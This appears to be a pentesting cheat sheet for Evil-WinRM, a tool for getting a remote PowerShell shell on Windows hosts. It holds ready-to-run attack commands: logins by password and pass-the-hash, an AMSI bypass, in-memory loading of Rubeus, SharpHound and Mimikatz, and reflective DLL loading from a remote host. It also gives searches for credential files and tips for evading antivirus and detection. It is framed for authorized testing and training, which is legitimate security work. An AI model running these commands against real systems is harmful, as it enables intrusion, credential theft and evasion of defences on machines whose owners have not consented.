Evil-WinRM

WinRM shell — login by password/hash, upload, download & load tools

Evil-WinRM Cheat Sheet

Evil-WinRM is the go-to interactive shell for Windows Remote Management (WinRM, ports 5985/5986). Given valid credentials, an NTLM hash, or a Kerberos ticket for a user in Remote Management Users, it gives a PowerShell prompt with built-in upload/download and in-memory script loading. For authorized testing only.

1. Connect

# Password
evil-winrm -i 10.10.10.10 -u Administrator -p 'Password123'

# Pass-the-Hash (NT hash, no password)
evil-winrm -i 10.10.10.10 -u Administrator -H ad9c84d8e9a...

# HTTPS / WinRM over TLS (5986)
evil-winrm -i 10.10.10.10 -u user -p pass -S

# Kerberos
evil-winrm -i host.domain.local -u user -r domain.local

First, confirm the host even speaks WinRM and the creds work:

nxc winrm 10.10.10.10 -u user -p pass        # look for (Pwn3d!)

2. Common flags

Flag	Meaning
`-i`	Target IP / hostname (required)
`-u`	Username
`-p`	Password
`-H`	NTLM hash (pass-the-hash)
`-S`	Use SSL/TLS (port 5986)
`-P`	Custom port (default 5985, or 5986 with `-S`)
`-r`	Kerberos realm (domain) — enables Kerberos auth
`-s <dir>`	Local path to PowerShell scripts for `-e`-free loading
`-e <dir>`	Local path to executables to serve to the target
`-c <cert>` / `-k <key>`	Client cert + key for certificate auth
`-N`	Disable colored output
`-V`	Print version

# Stage scripts + binaries from local folders, over TLS
evil-winrm -i 10.10.10.10 -u user -H <hash> -S -s /opt/scripts -e /opt/bins

3. Built-in menu commands

Once you have the *Evil-WinRM* PS> prompt, these are Evil-WinRM features (not normal PowerShell):

menu                          # list all built-in commands + loaded functions
upload /local/file C:\path\file       # push a file to the target
download C:\path\file /local/file     # pull a file back
services                      # list services and their permissions
Bypass-4MSI                   # patch AMSI in the current session
Invoke-Binary /opt/bins/Rubeus.exe -- kerberoast   # run a .NET assembly in memory
Dll-Loader -http http://IP/lib.dll    # reflectively load a DLL
upload                        # (no args) shows current local dir for upload

-s <dir> makes every .ps1 in that folder loadable by name (e.g. just type Invoke-Mimikatz).
-e <dir> makes binaries available to Invoke-Binary / Donut-Loader from memory — no disk write.

4. Once you have the shell (PowerShell recon)

whoami /all
hostname; $env:COMPUTERNAME
net user; net localgroup Administrators
Get-LocalUser; Get-LocalGroupMember Administrators
systeminfo
ipconfig /all
Get-ChildItem -Path C:\Users -Recurse -Include *.txt,*.kdbx,*.config 2>$null
type C:\Users\Administrator\Desktop\root.txt

5. AMSI / logging evasion

Bypass-4MSI                   # built-in AMSI patch — run before loading flagged scripts

If Bypass-4MSI is blocked, manually patch or load tooling pre-obfuscated. WinRM script-block logging may capture your commands — assume you're logged.

6. Privesc & post-exploitation handoff

# Upload + run an enumerator
upload /opt/winPEASx64.exe C:\Windows\Temp\wp.exe
C:\Windows\Temp\wp.exe

# Run offensive .NET in memory (no AV-triggering file on disk)
Invoke-Binary /opt/bins/Rubeus.exe -- triage
Invoke-Binary /opt/bins/SharpHound.exe -- -c All

7. Tips

Membership in Remote Management Users (or local admin) is required — a plain domain user usually can't WinRM in.
Pass-the-Hash with -H needs only the NT half of the hash (drop LM:).
Prefer Invoke-Binary / Dll-Loader over upload-then-run to avoid writing AV-detected files.
-S (TLS, 5986) both encrypts traffic and sometimes evades plaintext-WinRM detections.
If the shell hangs on a native interactive program, background it or use a proper C2 — WinRM is non-interactive at heart.

Authorized testing only. Practice on the AYSEC pro-labs. See also NetExec / CrackMapExec and Windows privilege escalation.